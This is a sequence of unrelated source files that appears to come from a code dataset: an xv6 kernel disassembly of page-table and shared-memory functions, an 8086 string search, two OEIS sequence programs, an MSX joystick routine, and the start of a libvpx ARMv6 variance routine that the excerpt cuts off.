8010696f: 8b 45 08 mov 0x8(%ebp),%eax
80106972: e8 a9 fa ff ff call 80106420 <deallocuvm.part.0>
return 0;
80106977: 31 c0 xor %eax,%eax
80106979: eb aa jmp 80106925 <allocuvm+0xa5>
8010697b: 90 nop
8010697c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106980 <deallocuvm>:
{
80106980: 55 push %ebp
80106981: 89 e5 mov %esp,%ebp
80106983: 8b 55 0c mov 0xc(%ebp),%edx
80106986: 8b 4d 10 mov 0x10(%ebp),%ecx
80106989: 8b 45 08 mov 0x8(%ebp),%eax
if(newsz >= oldsz)
8010698c: 39 d1 cmp %edx,%ecx
8010698e: 73 08 jae 80106998 <deallocuvm+0x18>
}
80106990: 5d pop %ebp
80106991: e9 8a fa ff ff jmp 80106420 <deallocuvm.part.0>
80106996: 66 90 xchg %ax,%ax
80106998: 89 d0 mov %edx,%eax
8010699a: 5d pop %ebp
8010699b: c3 ret
8010699c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801069a0 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
801069a0: 55 push %ebp
801069a1: 89 e5 mov %esp,%ebp
801069a3: 56 push %esi
801069a4: 53 push %ebx
801069a5: 83 ec 10 sub $0x10,%esp
801069a8: 8b 75 08 mov 0x8(%ebp),%esi
uint i;
if(pgdir == 0)
801069ab: 85 f6 test %esi,%esi
801069ad: 74 59 je 80106a08 <freevm+0x68>
801069af: 31 c9 xor %ecx,%ecx
801069b1: ba 00 00 00 80 mov $0x80000000,%edx
801069b6: 89 f0 mov %esi,%eax
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
801069b8: 31 db xor %ebx,%ebx
801069ba: e8 61 fa ff ff call 80106420 <deallocuvm.part.0>
801069bf: eb 12 jmp 801069d3 <freevm+0x33>
801069c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801069c8: 83 c3 01 add $0x1,%ebx
801069cb: 81 fb 00 04 00 00 cmp $0x400,%ebx
801069d1: 74 27 je 801069fa <freevm+0x5a>
if(pgdir[i] & PTE_P){
801069d3: 8b 14 9e mov (%esi,%ebx,4),%edx
801069d6: f6 c2 01 test $0x1,%dl
801069d9: 74 ed je 801069c8 <freevm+0x28>
char * v = P2V(PTE_ADDR(pgdir[i]));
801069db: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(i = 0; i < NPDENTRIES; i++){
801069e1: 83 c3 01 add $0x1,%ebx
char * v = P2V(PTE_ADDR(pgdir[i]));
801069e4: 81 c2 00 00 00 80 add $0x80000000,%edx
kfree(v);
801069ea: 89 14 24 mov %edx,(%esp)
801069ed: e8 de b8 ff ff call 801022d0 <kfree>
for(i = 0; i < NPDENTRIES; i++){
801069f2: 81 fb 00 04 00 00 cmp $0x400,%ebx
801069f8: 75 d9 jne 801069d3 <freevm+0x33>
}
}
kfree((char*)pgdir);
801069fa: 89 75 08 mov %esi,0x8(%ebp)
}
801069fd: 83 c4 10 add $0x10,%esp
80106a00: 5b pop %ebx
80106a01: 5e pop %esi
80106a02: 5d pop %ebp
kfree((char*)pgdir);
80106a03: e9 c8 b8 ff ff jmp 801022d0 <kfree>
panic("freevm: no pgdir");
80106a08: c7 04 24 dd 77 10 80 movl $0x801077dd,(%esp)
80106a0f: e8 4c 99 ff ff call 80100360 <panic>
80106a14: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106a1a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106a20 <setupkvm>:
{
80106a20: 55 push %ebp
80106a21: 89 e5 mov %esp,%ebp
80106a23: 56 push %esi
80106a24: 53 push %ebx
80106a25: 83 ec 20 sub $0x20,%esp
if((pgdir = (pde_t*)kalloc()) == 0)
80106a28: e8 53 ba ff ff call 80102480 <kalloc>
80106a2d: 85 c0 test %eax,%eax
80106a2f: 89 c6 mov %eax,%esi
80106a31: 74 75 je 80106aa8 <setupkvm+0x88>
memset(pgdir, 0, PGSIZE);
80106a33: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106a3a: 00
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106a3b: bb 20 a4 10 80 mov $0x8010a420,%ebx
memset(pgdir, 0, PGSIZE);
80106a40: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106a47: 00
80106a48: 89 04 24 mov %eax,(%esp)
80106a4b: e8 10 d8 ff ff call 80104260 <memset>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80106a50: 8b 53 0c mov 0xc(%ebx),%edx
80106a53: 8b 43 04 mov 0x4(%ebx),%eax
80106a56: 89 34 24 mov %esi,(%esp)
80106a59: 89 54 24 10 mov %edx,0x10(%esp)
80106a5d: 8b 53 08 mov 0x8(%ebx),%edx
80106a60: 89 44 24 0c mov %eax,0xc(%esp)
80106a64: 29 c2 sub %eax,%edx
80106a66: 8b 03 mov (%ebx),%eax
80106a68: 89 54 24 08 mov %edx,0x8(%esp)
80106a6c: 89 44 24 04 mov %eax,0x4(%esp)
80106a70: e8 0b fb ff ff call 80106580 <mappages>
80106a75: 85 c0 test %eax,%eax
80106a77: 78 17 js 80106a90 <setupkvm+0x70>
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106a79: 83 c3 10 add $0x10,%ebx
80106a7c: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
80106a82: 72 cc jb 80106a50 <setupkvm+0x30>
80106a84: 89 f0 mov %esi,%eax
}
80106a86: 83 c4 20 add $0x20,%esp
80106a89: 5b pop %ebx
80106a8a: 5e pop %esi
80106a8b: 5d pop %ebp
80106a8c: c3 ret
80106a8d: 8d 76 00 lea 0x0(%esi),%esi
freevm(pgdir);
80106a90: 89 34 24 mov %esi,(%esp)
80106a93: e8 08 ff ff ff call 801069a0 <freevm>
}
80106a98: 83 c4 20 add $0x20,%esp
return 0;
80106a9b: 31 c0 xor %eax,%eax
}
80106a9d: 5b pop %ebx
80106a9e: 5e pop %esi
80106a9f: 5d pop %ebp
80106aa0: c3 ret
80106aa1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
80106aa8: 31 c0 xor %eax,%eax
80106aaa: eb da jmp 80106a86 <setupkvm+0x66>
80106aac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106ab0 <kvmalloc>:
{
80106ab0: 55 push %ebp
80106ab1: 89 e5 mov %esp,%ebp
80106ab3: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
80106ab6: e8 65 ff ff ff call 80106a20 <setupkvm>
80106abb: a3 a4 55 11 80 mov %eax,0x801155a4
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106ac0: 05 00 00 00 80 add $0x80000000,%eax
80106ac5: 0f 22 d8 mov %eax,%cr3
}
80106ac8: c9 leave
80106ac9: c3 ret
80106aca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106ad0 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80106ad0: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106ad1: 31 c9 xor %ecx,%ecx
{
80106ad3: 89 e5 mov %esp,%ebp
80106ad5: 83 ec 18 sub $0x18,%esp
pte = walkpgdir(pgdir, uva, 0);
80106ad8: 8b 55 0c mov 0xc(%ebp),%edx
80106adb: 8b 45 08 mov 0x8(%ebp),%eax
80106ade: e8 ad f8 ff ff call 80106390 <walkpgdir>
if(pte == 0)
80106ae3: 85 c0 test %eax,%eax
80106ae5: 74 05 je 80106aec <clearpteu+0x1c>
panic("clearpteu");
*pte &= ~PTE_U;
80106ae7: 83 20 fb andl $0xfffffffb,(%eax)
}
80106aea: c9 leave
80106aeb: c3 ret
panic("clearpteu");
80106aec: c7 04 24 ee 77 10 80 movl $0x801077ee,(%esp)
80106af3: e8 68 98 ff ff call 80100360 <panic>
80106af8: 90 nop
80106af9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106b00 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80106b00: 55 push %ebp
80106b01: 89 e5 mov %esp,%ebp
80106b03: 57 push %edi
80106b04: 56 push %esi
80106b05: 53 push %ebx
80106b06: 83 ec 2c sub $0x2c,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80106b09: e8 12 ff ff ff call 80106a20 <setupkvm>
80106b0e: 85 c0 test %eax,%eax
80106b10: 89 45 e0 mov %eax,-0x20(%ebp)
80106b13: 0f 84 60 01 00 00 je 80106c79 <copyuvm+0x179>
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106b19: 8b 45 0c mov 0xc(%ebp),%eax
80106b1c: 85 c0 test %eax,%eax
80106b1e: 0f 84 ac 00 00 00 je 80106bd0 <copyuvm+0xd0>
80106b24: 31 db xor %ebx,%ebx
80106b26: eb 51 jmp 80106b79 <copyuvm+0x79>
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
80106b28: 81 c7 00 00 00 80 add $0x80000000,%edi
80106b2e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106b35: 00
80106b36: 89 7c 24 04 mov %edi,0x4(%esp)
80106b3a: 89 04 24 mov %eax,(%esp)
80106b3d: e8 be d7 ff ff call 80104300 <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0)
80106b42: 8b 45 e4 mov -0x1c(%ebp),%eax
80106b45: 8d 96 00 00 00 80 lea -0x80000000(%esi),%edx
80106b4b: 89 54 24 0c mov %edx,0xc(%esp)
80106b4f: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106b56: 00
80106b57: 89 5c 24 04 mov %ebx,0x4(%esp)
80106b5b: 89 44 24 10 mov %eax,0x10(%esp)
80106b5f: 8b 45 e0 mov -0x20(%ebp),%eax
80106b62: 89 04 24 mov %eax,(%esp)
80106b65: e8 16 fa ff ff call 80106580 <mappages>
80106b6a: 85 c0 test %eax,%eax
80106b6c: 78 4d js 80106bbb <copyuvm+0xbb>
for(i = 0; i < sz; i += PGSIZE){
80106b6e: 81 c3 00 10 00 00 add $0x1000,%ebx
80106b74: 39 5d 0c cmp %ebx,0xc(%ebp)
80106b77: 76 57 jbe 80106bd0 <copyuvm+0xd0>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80106b79: 8b 45 08 mov 0x8(%ebp),%eax
80106b7c: 31 c9 xor %ecx,%ecx
80106b7e: 89 da mov %ebx,%edx
80106b80: e8 0b f8 ff ff call 80106390 <walkpgdir>
80106b85: 85 c0 test %eax,%eax
80106b87: 0f 84 ff 00 00 00 je 80106c8c <copyuvm+0x18c>
if(!(*pte & PTE_P))
80106b8d: 8b 30 mov (%eax),%esi
80106b8f: f7 c6 01 00 00 00 test $0x1,%esi
80106b95: 0f 84 e5 00 00 00 je 80106c80 <copyuvm+0x180>
pa = PTE_ADDR(*pte);
80106b9b: 89 f7 mov %esi,%edi
flags = PTE_FLAGS(*pte);
80106b9d: 81 e6 ff 0f 00 00 and $0xfff,%esi
80106ba3: 89 75 e4 mov %esi,-0x1c(%ebp)
pa = PTE_ADDR(*pte);
80106ba6: 81 e7 00 f0 ff ff and $0xfffff000,%edi
if((mem = kalloc()) == 0)
80106bac: e8 cf b8 ff ff call 80102480 <kalloc>
80106bb1: 85 c0 test %eax,%eax
80106bb3: 89 c6 mov %eax,%esi
80106bb5: 0f 85 6d ff ff ff jne 80106b28 <copyuvm+0x28>
}
}
return d;
bad:
freevm(d);
80106bbb: 8b 45 e0 mov -0x20(%ebp),%eax
80106bbe: 89 04 24 mov %eax,(%esp)
80106bc1: e8 da fd ff ff call 801069a0 <freevm>
return 0;
80106bc6: 31 c0 xor %eax,%eax
}
80106bc8: 83 c4 2c add $0x2c,%esp
80106bcb: 5b pop %ebx
80106bcc: 5e pop %esi
80106bcd: 5f pop %edi
80106bce: 5d pop %ebp
80106bcf: c3 ret
for(i = 0; i < sz; i += PGSIZE){
80106bd0: bb 00 e0 ff 7f mov $0x7fffe000,%ebx
if((pte = walkpgdir(pgdir, (void*) i, 0)) == 0){
80106bd5: 8b 45 08 mov 0x8(%ebp),%eax
80106bd8: 31 c9 xor %ecx,%ecx
80106bda: 89 da mov %ebx,%edx
80106bdc: e8 af f7 ff ff call 80106390 <walkpgdir>
80106be1: 85 c0 test %eax,%eax
80106be3: 0f 84 a3 00 00 00 je 80106c8c <copyuvm+0x18c>
if(!(*pte & PTE_P)){
80106be9: 8b 30 mov (%eax),%esi
80106beb: f7 c6 01 00 00 00 test $0x1,%esi
80106bf1: 0f 84 89 00 00 00 je 80106c80 <copyuvm+0x180>
pa = PTE_ADDR(*pte);
80106bf7: 89 f7 mov %esi,%edi
flags = PTE_FLAGS(*pte);
80106bf9: 81 e6 ff 0f 00 00 and $0xfff,%esi
80106bff: 89 75 e4 mov %esi,-0x1c(%ebp)
pa = PTE_ADDR(*pte);
80106c02: 81 e7 00 f0 ff ff and $0xfffff000,%edi
if((mem = kalloc()) == 0){
80106c08: e8 73 b8 ff ff call 80102480 <kalloc>
80106c0d: 85 c0 test %eax,%eax
80106c0f: 89 c6 mov %eax,%esi
80106c11: 74 a8 je 80106bbb <copyuvm+0xbb>
memmove(mem, (char*)P2V(pa), PGSIZE);
80106c13: 81 c7 00 00 00 80 add $0x80000000,%edi
80106c19: 89 7c 24 04 mov %edi,0x4(%esp)
80106c1d: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106c24: 00
80106c25: 89 04 24 mov %eax,(%esp)
80106c28: e8 d3 d6 ff ff call 80104300 <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0){
80106c2d: 8b 45 e4 mov -0x1c(%ebp),%eax
80106c30: 8d 96 00 00 00 80 lea -0x80000000(%esi),%edx
80106c36: 8b 7d e0 mov -0x20(%ebp),%edi
80106c39: 89 54 24 0c mov %edx,0xc(%esp)
80106c3d: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106c44: 00
80106c45: 89 44 24 10 mov %eax,0x10(%esp)
80106c49: 89 5c 24 04 mov %ebx,0x4(%esp)
80106c4d: 89 3c 24 mov %edi,(%esp)
80106c50: e8 2b f9 ff ff call 80106580 <mappages>
80106c55: 85 c0 test %eax,%eax
80106c57: 0f 88 5e ff ff ff js 80106bbb <copyuvm+0xbb>
for(i = PGROUNDDOWN(KERNBASE - 1 - PGSIZE); i < KERNBASE - 1; i += PGSIZE){
80106c5d: 81 c3 00 10 00 00 add $0x1000,%ebx
80106c63: 81 fb 00 00 00 80 cmp $0x80000000,%ebx
80106c69: 0f 85 66 ff ff ff jne 80106bd5 <copyuvm+0xd5>
}
80106c6f: 83 c4 2c add $0x2c,%esp
80106c72: 89 f8 mov %edi,%eax
80106c74: 5b pop %ebx
80106c75: 5e pop %esi
80106c76: 5f pop %edi
80106c77: 5d pop %ebp
80106c78: c3 ret
return 0;
80106c79: 31 c0 xor %eax,%eax
80106c7b: e9 48 ff ff ff jmp 80106bc8 <copyuvm+0xc8>
panic("copyuvm: page not present");
80106c80: c7 04 24 12 78 10 80 movl $0x80107812,(%esp)
80106c87: e8 d4 96 ff ff call 80100360 <panic>
panic("copyuvm: pte should exist");
80106c8c: c7 04 24 f8 77 10 80 movl $0x801077f8,(%esp)
80106c93: e8 c8 96 ff ff call 80100360 <panic>
80106c98: 90 nop
80106c99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ca0 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106ca0: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106ca1: 31 c9 xor %ecx,%ecx
{
80106ca3: 89 e5 mov %esp,%ebp
80106ca5: 83 ec 08 sub $0x8,%esp
pte = walkpgdir(pgdir, uva, 0);
80106ca8: 8b 55 0c mov 0xc(%ebp),%edx
80106cab: 8b 45 08 mov 0x8(%ebp),%eax
80106cae: e8 dd f6 ff ff call 80106390 <walkpgdir>
if((*pte & PTE_P) == 0)
80106cb3: 8b 00 mov (%eax),%eax
80106cb5: 89 c2 mov %eax,%edx
80106cb7: 83 e2 05 and $0x5,%edx
return 0;
if((*pte & PTE_U) == 0)
80106cba: 83 fa 05 cmp $0x5,%edx
80106cbd: 75 11 jne 80106cd0 <uva2ka+0x30>
return 0;
return (char*)P2V(PTE_ADDR(*pte));
80106cbf: 25 00 f0 ff ff and $0xfffff000,%eax
80106cc4: 05 00 00 00 80 add $0x80000000,%eax
}
80106cc9: c9 leave
80106cca: c3 ret
80106ccb: 90 nop
80106ccc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
80106cd0: 31 c0 xor %eax,%eax
}
80106cd2: c9 leave
80106cd3: c3 ret
80106cd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106cda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106ce0 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
80106ce0: 55 push %ebp
80106ce1: 89 e5 mov %esp,%ebp
80106ce3: 57 push %edi
80106ce4: 56 push %esi
80106ce5: 53 push %ebx
80106ce6: 83 ec 1c sub $0x1c,%esp
80106ce9: 8b 5d 14 mov 0x14(%ebp),%ebx
80106cec: 8b 4d 0c mov 0xc(%ebp),%ecx
80106cef: 8b 7d 10 mov 0x10(%ebp),%edi
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106cf2: 85 db test %ebx,%ebx
80106cf4: 75 3a jne 80106d30 <copyout+0x50>
80106cf6: eb 68 jmp 80106d60 <copyout+0x80>
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
80106cf8: 8b 4d e4 mov -0x1c(%ebp),%ecx
80106cfb: 89 f2 mov %esi,%edx
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
80106cfd: 89 7c 24 04 mov %edi,0x4(%esp)
n = PGSIZE - (va - va0);
80106d01: 29 ca sub %ecx,%edx
80106d03: 81 c2 00 10 00 00 add $0x1000,%edx
80106d09: 39 da cmp %ebx,%edx
80106d0b: 0f 47 d3 cmova %ebx,%edx
memmove(pa0 + (va - va0), buf, n);
80106d0e: 29 f1 sub %esi,%ecx
80106d10: 01 c8 add %ecx,%eax
80106d12: 89 54 24 08 mov %edx,0x8(%esp)
80106d16: 89 04 24 mov %eax,(%esp)
80106d19: 89 55 e4 mov %edx,-0x1c(%ebp)
80106d1c: e8 df d5 ff ff call 80104300 <memmove>
len -= n;
buf += n;
80106d21: 8b 55 e4 mov -0x1c(%ebp),%edx
va = va0 + PGSIZE;
80106d24: 8d 8e 00 10 00 00 lea 0x1000(%esi),%ecx
buf += n;
80106d2a: 01 d7 add %edx,%edi
while(len > 0){
80106d2c: 29 d3 sub %edx,%ebx
80106d2e: 74 30 je 80106d60 <copyout+0x80>
pa0 = uva2ka(pgdir, (char*)va0);
80106d30: 8b 45 08 mov 0x8(%ebp),%eax
va0 = (uint)PGROUNDDOWN(va);
80106d33: 89 ce mov %ecx,%esi
80106d35: 81 e6 00 f0 ff ff and $0xfffff000,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80106d3b: 89 74 24 04 mov %esi,0x4(%esp)
va0 = (uint)PGROUNDDOWN(va);
80106d3f: 89 4d e4 mov %ecx,-0x1c(%ebp)
pa0 = uva2ka(pgdir, (char*)va0);
80106d42: 89 04 24 mov %eax,(%esp)
80106d45: e8 56 ff ff ff call 80106ca0 <uva2ka>
if(pa0 == 0)
80106d4a: 85 c0 test %eax,%eax
80106d4c: 75 aa jne 80106cf8 <copyout+0x18>
}
return 0;
}
80106d4e: 83 c4 1c add $0x1c,%esp
return -1;
80106d51: b8 ff ff ff ff mov $0xffffffff,%eax
}
80106d56: 5b pop %ebx
80106d57: 5e pop %esi
80106d58: 5f pop %edi
80106d59: 5d pop %ebp
80106d5a: c3 ret
80106d5b: 90 nop
80106d5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106d60: 83 c4 1c add $0x1c,%esp
return 0;
80106d63: 31 c0 xor %eax,%eax
}
80106d65: 5b pop %ebx
80106d66: 5e pop %esi
80106d67: 5f pop %edi
80106d68: 5d pop %ebp
80106d69: c3 ret
80106d6a: 66 90 xchg %ax,%ax
80106d6c: 66 90 xchg %ax,%ax
80106d6e: 66 90 xchg %ax,%ax
80106d70 <shminit>:
char *frame;
int refcnt;
} shm_pages[64];
} shm_table;
void shminit() {
80106d70: 55 push %ebp
80106d71: 89 e5 mov %esp,%ebp
80106d73: 83 ec 18 sub $0x18,%esp
int i;
initlock(&(shm_table.lock), "SHM lock");
80106d76: c7 44 24 04 50 78 10 movl $0x80107850,0x4(%esp)
80106d7d: 80
80106d7e: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp)
80106d85: e8 a6 d2 ff ff call 80104030 <initlock>
acquire(&(shm_table.lock));
80106d8a: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp)
80106d91: e8 8a d3 ff ff call 80104120 <acquire>
80106d96: b8 f4 55 11 80 mov $0x801155f4,%eax
80106d9b: 90 nop
80106d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for (i = 0; i< 64; i++) {
shm_table.shm_pages[i].id =0;
80106da0: c7 00 00 00 00 00 movl $0x0,(%eax)
80106da6: 83 c0 0c add $0xc,%eax
shm_table.shm_pages[i].frame =0;
80106da9: c7 40 f8 00 00 00 00 movl $0x0,-0x8(%eax)
shm_table.shm_pages[i].refcnt =0;
80106db0: c7 40 fc 00 00 00 00 movl $0x0,-0x4(%eax)
for (i = 0; i< 64; i++) {
80106db7: 3d f4 58 11 80 cmp $0x801158f4,%eax
80106dbc: 75 e2 jne 80106da0 <shminit+0x30>
}
release(&(shm_table.lock));
80106dbe: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp)
80106dc5: e8 46 d4 ff ff call 80104210 <release>
}
80106dca: c9 leave
80106dcb: c3 ret
80106dcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106dd0 <shm_open>:
int shm_open(int id, char **pointer) {
80106dd0: 55 push %ebp
return 0; //added to remove compiler warning -- you should decide what to return
}
80106dd1: 31 c0 xor %eax,%eax
int shm_open(int id, char **pointer) {
80106dd3: 89 e5 mov %esp,%ebp
}
80106dd5: 5d pop %ebp
80106dd6: c3 ret
80106dd7: 89 f6 mov %esi,%esi
80106dd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106de0 <shm_close>:
int shm_close(int id) {
80106de0: 55 push %ebp
return 0; //added to remove compiler warning -- you should decide what to return
}
80106de1: 31 c0 xor %eax,%eax
int shm_close(int id) {
80106de3: 89 e5 mov %esp,%ebp
}
80106de5: 5d pop %ebp
80106de6: c3 ret
| 38.016889 | 106 | 0.528972 |
[
"MIT-0"
] |
joshwu1/lab3
|
kernel.asm
| 569,493 |
Assembly
|
.8086
.model small
.stack 100h
.data
string db "Myname0"
char db '3'
msg_found db "Found"
msg_not_found db 'Not Found'
.code
main:
mov ax, @data
mov ds, ax
lea si, string
mov ah, char
looper:
mov al, [si]
; End of String
cmp al, '0'
je not_found
inc si
cmp al, char
je found
jne looper
found:
lea dx, msg_found
mov ah, 09h
int 21h
jmp exit
not_found:
lea dx, msg_not_found
mov ah, 09h
int 21h
jmp exit
exit:
mov ah, 4ch
int 21h
end main
| 10.933333 | 28 | 0.642276 |
[
"BSD-3-Clause"
] |
pratikpc/Pracs-Sem-V
|
MP/Search.asm
| 492 |
Assembly
|
; A265541: Largest base-9 palindrome m <= n, written in base 10.
; 0,1,2,3,4,5,6,7,8,8,10,10,10,10,10,10,10,10,10,10,20,20,20,20,20,20,20,20,20,20,30,30,30,30,30,30,30,30,30,30,40,40,40,40,40,40,40,40,40,40,50,50,50,50,50,50,50,50,50,50,60,60,60,60,60,60,60,60,60,60,70,70,70,70,70,70,70,70,70,70,80,80
mov $1,$0
mov $2,$0
trn $2,8
lpb $0,1
mod $0,10
mov $2,$0
lpe
sub $1,$2
| 31.666667 | 237 | 0.628947 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/265/A265541.asm
| 380 |
Assembly
|
;
; z88dk library: Generic I/O support code for MSX family machines
;
;
; extern bool __FASTCALL__ msx_get_trigger(unsigned char id);
;
; get state of joystick button (trigger) number \a id, true = pressed
;
; $Id: gen_get_trigger.asm $
;
SECTION code_clib
PUBLIC msx_get_trigger
PUBLIC _msx_get_trigger
msx_get_trigger:
_msx_get_trigger:
IF (FORmsx | FORsvi)
EXTERN set_psg_callee
EXTERN get_psg
IF FORmsx
;;INCLUDE "target/msx/def/msx.def"
defc PPI_B = $A9
defc PPI_C = $AA
defc PSG_ADDR = $A0
defc PSG_DATA = $A1
defc PSG_DATAIN = $A2
ELSE
;;INCLUDE "target/svi/def/svi.def"
defc PPI_A = $98
defc PPI_B = $99
defc PPI_C = $9A
defc PSG_ADDR = $88
defc PSG_DATA = $8C
defc PSG_DATAIN = $90
ENDIF
ld a,l ; __FASTCALL__ parameter passing
or a
jr nz,joy_trig
gttrig_space:
; Keyboard (spacebar)
di
in a,(PPI_C) ; GIO_REGS
and $F0
or 8 ; kbd row 8
out (PPI_C),a ; GIO_REGS
in a,(PPI_B) ; KBD_STAT
ei
; bit0 = 0 -> space pressed
and 1
jr result
; Joystick triggers
joy_trig:
dec a
ld e,a
di
;; Exclude Joystick selection on Spectravideo,
;; reg #15 has other uses and would crash everything.
IF FORmsx
ld a,15 ; set PSG register #15
out (PSG_ADDR),a
in a,(PSG_DATAIN) ; read value
dec e ; Joystick number
jr z,joystick_2
and @11011111
or @01001100
jr joystick_1
.joystick_2
and @10101111
or @00000011
.joystick_1
; we still have PSG register #15 set
out (PSG_DATA),a
ld a,14 ; set PSG register #14
out (PSG_ADDR),a
in a,(PSG_DATAIN) ; read value
ENDIF
IF FORsvi
in a,(PPI_A)
dec e ; Joystick number
jr z,joystick_1
rra
.joystick_1
ENDIF
and $10 ; Stick Trigger
ei
result:
ld hl,0
ret nz
dec hl
ret
ELSE
IF FORm5
in a,($30) ; keyboard row scan
ld hl,0
and $40 ; mask the SPACE key
ret z
dec hl
ret
ELSE
ld hl,0
ret
ENDIF
ENDIF
| 16.852713 | 69 | 0.584177 |
[
"BSD-2-Clause"
] |
ByteProject/Puddle-BuildTools
|
FictionTools/z88dk/libsrc/video/tms9918/gen_get_trigger.asm
| 2,174 |
Assembly
|
; A093230: a(n) is the largest number such that all of a(n)'s length-n substrings are distinct and divisible by 30.
; 0,900,99000,9990000,999900000,99999000000,9999990000000,999999900000000,99999999000000000,9999999990000000000,999999999900000000000,99999999999000000000000,9999999999990000000000000,999999999999900000000000000,99999999999999000000000000000
mov $1,10
pow $1,$0
bin $1,2
div $1,45
mul $1,900
mov $0,$1
| 41.9 | 241 | 0.825776 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/093/A093230.asm
| 419 |
Assembly
|
;
; Copyright (c) 2011 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp8_variance_halfpixvar16x16_hv_armv6|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
; r0 unsigned char *src_ptr
; r1 int source_stride
; r2 unsigned char *ref_ptr
; r3 int recon_stride
; stack unsigned int *sse
|vp8_variance_halfpixvar16x16_hv_armv6| PROC
stmfd sp!, {r4-r12, lr}
pld [r0, r1, lsl #0]
pld [r2, r3, lsl #0]
mov r8, #0 ; initialize sum = 0
ldr r10, c80808080
mov r11, #0 ; initialize sse = 0
mov r12, #16 ; set loop counter to 16 (=block height)
mov lr, #0 ; constant zero
loop
add r9, r0, r1 ; pointer to pixels on the next row
; 1st 4 pixels
ldr r4, [r0, #0] ; load source pixels a, row N
ldr r6, [r0, #1] ; load source pixels b, row N
ldr r5, [r9, #0] ; load source pixels c, row N+1
ldr r7, [r9, #1] ; load source pixels d, row N+1
; x = (a + b + 1) >> 1, interpolate pixels horizontally on row N
mvn r6, r6
uhsub8 r4, r4, r6
eor r4, r4, r10
; y = (c + d + 1) >> 1, interpolate pixels horizontally on row N+1
mvn r7, r7
uhsub8 r5, r5, r7
eor r5, r5, r10
; z = (x + y + 1) >> 1, interpolate half pixel values vertically
mvn r5, r5
uhsub8 r4, r4, r5
ldr r5, [r2, #0] ; load 4 ref pixels
eor r4, r4, r10
usub8 r6, r4, r5 ; calculate difference
pld [r0, r1, lsl #1]
sel r7, r6, lr ; select bytes with positive difference
usub8 r6, r5, r4 ; calculate difference with reversed operands
pld [r2, r3, lsl #1]
sel r6, r6, lr ; select bytes with negative difference
; calculate partial sums
usad8 r4, r7, lr ; calculate sum of positive differences
usad8 r5, r6, lr ; calculate sum of negative differences
orr r6, r6, r7 ; differences of all 4 pixels
; calculate total sum
adds r8, r8, r4 ; add positive differences to sum
subs r8, r8, r5 ; substract negative differences from sum
; calculate sse
